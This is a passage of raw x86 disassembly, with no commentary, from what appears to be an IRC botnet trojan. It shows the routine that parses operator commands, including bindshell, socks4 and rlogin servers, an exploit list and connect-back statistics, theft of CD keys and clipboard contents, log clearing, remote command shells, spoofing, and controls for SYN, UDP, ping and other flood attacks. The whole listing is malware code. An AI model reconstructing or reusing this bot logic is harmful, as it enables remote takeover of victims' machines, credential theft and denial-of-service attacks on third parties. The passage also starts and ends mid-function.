		mov	edi, [ebp+arg_20]
		mov	cl, byte_425090
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_425090
		mov	[eax+3], cl
		lea	ecx, dword_43B9D8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_417B00
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax


loc_4023B2:				; CODE XREF: sub_401AC7+99Cj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_2	; "$%d-"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417E10
		add	esp, 14h
		test	eax, eax
		jz	short loc_40241E
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jz	short loc_40241E
		lea	eax, dword_43B9C0[edi]
		push	eax
		call	sub_4176F0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_402459
		mov	eax, [ebp+arg_20]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_402459
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414FC3
		add	esp, 0Ch
		jmp	short loc_402459
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401AC7+913j
					; sub_401AC7+91Aj
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jnz	short loc_402459
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414FC3
		add	esp, 18h


loc_402459:				; CODE XREF: sub_401AC7+92Cj
					; sub_401AC7+940j ...
		dec	[ebp+arg_8]
		sub	[ebp+arg_20], 4
		cmp	[ebp+arg_8], ebx
		jg	loc_4023B2
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_402476:				; CODE XREF: sub_401AC7+9FBj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417E10
		add	esp, 14h
		test	eax, eax
		jz	short loc_4024B9
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_4024B9
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414FC3
		add	esp, 0Ch


loc_4024B9:				; CODE XREF: sub_401AC7+9D7j
					; sub_401AC7+9DDj
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_402476
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_2C8], 1


loc_4024D1:				; CODE XREF: sub_401AC7+731j
					; sub_401AC7+766j
		mov	al, [edi]
		cmp	al, byte_425090
		jz	short loc_4024E7
		cmp	[ebp+var_2C8], ebx
		jz	loc_4026D8


loc_4024E7:				; CODE XREF: sub_401AC7+A12j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_414FC3
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_414FC3
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_414FC3
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A19A
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_414FC3
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_414FC3
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417E10
		add	esp, 14h


loc_402559:				; CODE XREF: sub_401AC7+B8Aj
		test	eax, eax
		jz	loc_402656
		push	edi
		push	[ebp+arg_0]
		call	sub_417E10
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_A0]
		push	offset asc_42EDDC ; ")"
		push	eax
		call	sub_4185F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_4025A5
		cmp	[ebp+var_A0], 39h
		jle	short loc_4025BB


loc_4025A5:				; CODE XREF: sub_401AC7+AD3j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_417B00
		add	esp, 0Ch


loc_4025BB:				; CODE XREF: sub_401AC7+ADCj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	short loc_4025E1
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417C89
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_4025F5
; ---------------------------------------------------------------------------


loc_4025E1:				; CODE XREF: sub_401AC7+B03j
		call	sub_417DF2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_4025F5:				; CODE XREF: sub_401AC7+B18j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_4176F0
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AA0
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414FC3
		push	edi
		push	[ebp+arg_0]
		call	sub_417E10
		add	esp, 30h
		jmp	loc_402559
; ---------------------------------------------------------------------------


loc_402656:				; CODE XREF: sub_401AC7+A94j
		mov	edi, 1FFh
		lea	eax, [ebp+var_39E8]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_39E8]
		push	edi
		push	eax
		lea	eax, [ebp+var_3E4C]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_3E4C]
		push	offset asc_42EF54 ; " "
		push	eax
		call	sub_4185F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_4026A6:				; CODE XREF: sub_401AC7+BF4j
		push	offset asc_42EF54 ; " "
		push	ebx
		call	sub_4185F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_4026A6
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E8B
		add	ecx, 3
		mov	[eax], ecx


loc_4026D8:				; CODE XREF: sub_401AC7+A1Aj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F8
		push	edi
		push	offset aRn	; "rn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F8
		push	edi
		push	offset aDie	; "die"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404459
		push	edi
		push	offset aD_0	; "d"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404459
		push	edi
		push	offset aLogout	; "logout"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043B7
		push	edi
		push	offset aLo	; "lo"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043B7
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043AD
		push	edi
		push	offset aDed	; "ded"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043AD
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404394
		push	edi
		push	offset aSt	; "st"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404394
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40428E
		push	edi
		push	offset aBd	; "bd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40428E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40281E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42ED68


loc_402802:				; CODE XREF: sub_401AC7+DA5j
					; sub_401AC7+DCBj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A491
		add	esp, 20h
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_40281E:				; CODE XREF: sub_401AC7+D26j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40416C
		push	edi
		push	offset aS4	; "s4"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40416C
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286E
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42ED40
		jmp	short loc_402802
; ---------------------------------------------------------------------------


loc_40286E:				; CODE XREF: sub_401AC7+D90j
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402897
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42ED24
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402897:				; CODE XREF: sub_401AC7+DB6j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028C0
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42ED08
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_4028C0:				; CODE XREF: sub_401AC7+DDFj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028E9
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42ECF4
		push	offset dword_42ECE8
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_4028E9:				; CODE XREF: sub_401AC7+E08j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402912
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42ECC8
		push	offset dword_42ECB8
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402912:				; CODE XREF: sub_401AC7+E31j
		push	edi
		push	offset dword_42ECAC
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40293B
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42ECA0
		push	offset dword_42EC94
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_40293B:				; CODE XREF: sub_401AC7+E5Aj
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402964
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42EC80
		push	offset dword_42EC74
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402964:				; CODE XREF: sub_401AC7+E83j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40298D
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42EC58
		push	offset dword_42EC48
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_40298D:				; CODE XREF: sub_401AC7+EACj
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4029B6
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42EC2C
		push	offset dword_42EC1C
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_4029B6:				; CODE XREF: sub_401AC7+ED5j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4029DF
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42EC04
		push	offset dword_42EBF8
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_4029DF:				; CODE XREF: sub_401AC7+EFEj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402B1A
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+var_88]
		push	esi
		push	0Dh
		push	offset dword_42ECA0
		push	offset dword_42EC94
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		push	esi
		push	0Eh
		push	offset dword_42EC80
		push	offset dword_42EC74
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42EBE0
		push	offset dword_42EBD4
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		push	esi
		push	16h
		push	offset dword_42EBC8
		push	offset dword_42EBBC
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42EC2C
		push	offset dword_42EC1C
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		push	esi
		push	12h
		push	offset dword_42EC04
		push	offset dword_42EBF8
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42EBAC
		push	offset dword_42EB9C
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		push	esi
		push	13h
		push	offset dword_42EB8C
		push	offset dword_42EB7C
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42EC58
		push	offset dword_42EC48
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42EB48
		push	edi
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 34h
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_402B1A:				; CODE XREF: sub_401AC7+F27j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B43
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42EBAC
		push	offset dword_42EB9C
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402B43:				; CODE XREF: sub_401AC7+1062j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B6C
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42EB8C
		push	offset dword_42EB7C
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402B6C:				; CODE XREF: sub_401AC7+108Bj
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B95
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42EBE0
		push	offset dword_42EBD4
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402B95:				; CODE XREF: sub_401AC7+10B4j
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBE
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42EBC8
		push	offset dword_42EBBC
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402BBE:				; CODE XREF: sub_401AC7+10DDj
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE7
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42EB00
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402BE7:				; CODE XREF: sub_401AC7+1106j
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404154
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404154
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C3A
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42EAC8
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402C3A:				; CODE XREF: sub_401AC7+1159j
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C63
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure	; "Secure"
		push	offset dword_42EAA4
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402C63:				; CODE XREF: sub_401AC7+1182j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C8C
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42EA84
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402C8C:				; CODE XREF: sub_401AC7+11ABj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40413E
		push	edi
		push	offset aStats	; "stats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40413E
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404128
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404128
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404112
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404112
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040FC
		push	edi
		push	offset aExplist	; "explist"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040FC
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040DD
		push	edi
		push	offset aR	; "r"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040DD
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040BB
		push	edi
		push	offset aDc	; "dc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040BB
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404073
		push	edi
		push	offset aQ	; "q"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404073
		push	edi
		push	offset aStatus	; "status"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404035
		push	edi
		push	offset aS_1	; "s"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404035
		push	edi
		push	offset aId	; "id"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FFE
		push	edi
		push	offset aI_1	; "i"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FFE
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E58
		call	sub_41540C
		test	eax, eax
		mov	eax, offset unk_42E9CC
		jnz	short loc_402E2A
		mov	eax, offset unk_42E9A4


loc_402E2A:				; CODE XREF: sub_401AC7+135Cj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 1Ch
		jmp	loc_4079C8
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_401AC7+134Ej
		push	edi
		push	offset aThreads	; "threads"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F10
		push	edi
		push	offset aT	; "t"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F10
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EED
		push	edi
		push	offset aAl	; "al"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EED
		push	edi
		push	offset aLo0g	; "lo0g"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DFD
		push	edi
		push	offset aL0g	; "l0g"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DFD
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DE4
		push	edi
		push	offset aClg	; "clg"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DE4
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DAA
		push	edi
		push	offset aNi	; "ni"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DAA
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D7F
		push	edi
		push	offset aSi	; "si"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D7F
		push	edi
		push	offset aRemov10e ; "remov10e"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D45
		push	edi
		push	offset aR010m	; "r010m"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D45
		push	edi
		push	offset aProcs	; "procs"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C22
		push	edi
		push	offset aPs	; "ps"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C22
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BFB
		push	edi
		push	offset aKey	; "key"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BFB
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B74
		push	edi
		push	offset aUp	; "up"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B74
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B57
		push	edi
		push	offset aDrv	; "drv"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B57
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B3E
		push	edi
		push	offset aDll	; "dll"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B3E
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AFF
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AFF
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A3
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42E8E4
		push	offset dword_42E8D8
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_4030A3:				; CODE XREF: sub_401AC7+15C2j
		push	edi
		push	offset dword_42E8D4
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4031C0
		cmp	[ebp+var_8], ebx
		jnz	short loc_4030D7
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42E8C0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_4030D7:				; CODE XREF: sub_401AC7+15F4j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_4030E5
; ---------------------------------------------------------------------------


loc_4030E2:				; CODE XREF: sub_401AC7+166Aj
		mov	eax, [ebp+arg_18]


loc_4030E5:				; CODE XREF: sub_401AC7+1619j
		cmp	[eax], bl
		jz	short loc_4030EC
		inc	eax
		jmp	short loc_4030F1
; ---------------------------------------------------------------------------


loc_4030EC:				; CODE XREF: sub_401AC7+1620j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4030F1:				; CODE XREF: sub_401AC7+1623j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_4030E2
		push	offset unk_42E88C
		call	sub_413B5E
		pop	ecx


loc_40313E:				; CODE XREF: sub_401AC7+1850j
					; sub_401AC7+29A6j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E8B
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404579
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40447F
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E858
		push	eax
		mov	dword_4CCFB0, ebx
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_403196:				; CODE XREF: sub_401AC7+2A59j
					; sub_401AC7+2A7Fj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_408A45
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D


loc_4031B8:				; CODE XREF: sub_401AC7+6681j
					; sub_401AC7+66E5j
		add	esp, 14h
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_401AC7+15EBj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ABE
		push	edi
		push	offset aGc	; "gc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ABE
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A93
		push	edi
		push	offset aFarp	; "farp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A93
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A6F
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A6F
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A35
		push	edi
		push	offset aCip	; "cip"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A35
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4038FD
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4038FD
		push	edi
